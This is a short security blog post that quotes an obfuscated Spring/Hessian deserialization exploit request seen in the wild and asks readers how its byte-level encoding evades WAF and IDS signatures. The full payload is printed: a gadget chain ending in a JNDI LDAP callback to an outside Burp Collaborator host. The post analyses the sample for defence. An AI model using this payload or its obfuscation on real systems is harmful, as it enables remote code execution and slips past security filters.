Spring RCE exploit I can’t explain

Ivan Novikov
1 min readJul 17, 2019

I’ve just found some variant of Struts exploit that surprised me by obfuscation technique:

GET /?%01%00java.util.HashMa%f0%01%02%01%01org.springframework.aop.target.HotSwappableTargetSourc%e5%01%01%02%ef%01org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder%01%01%03org.springframework.aop.aspectj.AspectJPointcutAdviso%f2%01%01%04org.springframework.aop.aspectj.AspectJAroundAdvic%e5%01%00%00%00%01%05%cc%01org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory%01%00%01%06org.springframework.jndi.support.SimpleJndiBeanFactor%f9%01%01%07org.springframework.jndi.JndiTemplat%e5%01%00%01%08org.apache.commons.logging.impl.NoOpLo%e7%01%01%08%01%01%01%00%01%00%01%09java.util.HashSe%f4%01%01%03%01%c9%03ldap%3a%2f%2fxxxxxxxxxxxxxxxxxxxxxxxxx.burpcollaborator.net%2f%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%01%00%01%00%0e%00%00%01%01%0ajava.lang.Objec%f4%00%00%00%00%00%00%01toStrin%e7%01%01%00%00%00%00%00%00%01%01%03%01%01%01%01%0bcom.sun.org.apache.xpath.internal.objects.XStrin%e7%01%03%01%85%ee%ac%a5%00%17%10%00%01%01%13=1 HTTP/1.1

This is %01%00 obfuscation, plus Unicode multibyte encoding.

Do you have any thoughts on what’s it? It seems like Java is avoiding %01 bytes from Unicode sequences, isn’t it?

I’m pretty sure, that the only way to use such kind of comprehensive obfuscation is to bypass signatures for WAFs/IPS/IDS/etc. So, it seems like somebody really knows how to cook bypasses for deserialization exploits at least.

BTW, which Spring vulnerability takes exploits right from the URI? Or this is a new https://nvd.nist.gov/vuln/detail/CVE-2019-9212 Hessian RCE exploited in the wild?

--

--

Ivan Novikov

CEO at Wallarm. Application security platform to prevent threats and discover vulnerabilities in a real-time.